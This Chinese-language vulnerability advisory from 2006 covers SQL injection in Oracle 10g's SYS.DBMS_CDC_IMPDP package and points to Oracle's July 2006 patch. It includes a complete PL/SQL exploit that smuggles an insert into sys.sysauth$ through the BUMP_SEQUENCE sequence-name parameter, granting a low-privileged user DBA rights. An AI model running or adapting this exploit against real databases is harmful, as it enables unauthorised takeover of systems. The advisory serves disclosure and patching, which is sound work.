Oracle数据库SYS.DBMS_CDC_IMPDP软件包SQL注入漏洞
发布日期:2006-07-18
更新日期:2006-07-19
受影响系统:Oracle Database 10g Release 1
描述:
Oracle是一款大型的商业数据库系统。
Oracle 10g的SYS.DBMS_CDC_IMPDP软件包在IMPORT_CHANGE_SET、IMPORT_CHANGE_TABLE、IMPORT_CHANGE_COLUMN、IMPORT_SUBSCRIBER、IMPORT_SUBSCRIBED_TABLE、IMPORT_SUBSCRIBED_COLUMN、VALIDATE_IMPORT、VALIDATE_CHANGE_SET、VALIDATE_CHANGE_TABLE、VALIDATE_SUBSCRIPTION过程中存在SQL注入漏洞,成功利用这个漏洞的攻击者可以完全控制数据库系统。
如果要利用这个漏洞,攻击者必须能够创建PL/SQL函数。
<*来源:Alexander Kornbrust (
ak@red-database-security.com)
链接:
http://marc.theaimsgroup.com/?l=bugtraq&m=115326128200969&w=2
http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2006.html?_template=/o
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/**
* Exploit for Oracle10g R1 and R2 prior to CPU Oct 2006
* Joxean Koret <
joxeankoret@yahoo.es>
* Privileges needed:
*
* - CREATE SESSION
*
* Max. Length 97. Very, very cool
*
*/
select *
from user_role_privs
;
DECLARE
SEQUENCE_OWNER VARCHAR2(200);
SEQUENCE_NAME VARCHAR2(200);
v_user_id number;
v_commands VARCHAR2(32767);
NEW_VALUE NUMBER;
BEGIN
SELECT user_id INTO v_user_id
FROM user_users;
v_commands := 'insert into sys.sysauth$ ' ||
' values' ||
'(' || v_user_id || ',4,' ||
'999,null)';
SEQUENCE_OWNER := 'TEST';
SEQUENCE_NAME := ''',lockhandle=>:1);' || v_commands || ';commit;
end;--';
NEW_VALUE := 1;
SYS.DBMS_CDC_IMPDP.BUMP_SEQUENCE(
SEQUENCE_OWNER => SEQUENCE_OWNER,
SEQUENCE_NAME => SEQUENCE_NAME,
NEW_VALUE => NEW_VALUE
);
END;
/
select *
from user_role_privs
;
建议:
厂商补丁:
Oracle
------
Oracle已经为此发布了一个安全公告(cpujul2006)以及相应补丁:
cpujul2006:Oracle Critical Patch Update - July 2006
链接:
http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2006.html?_template=/o浏览次数:4394
严重程度:0(网友投票)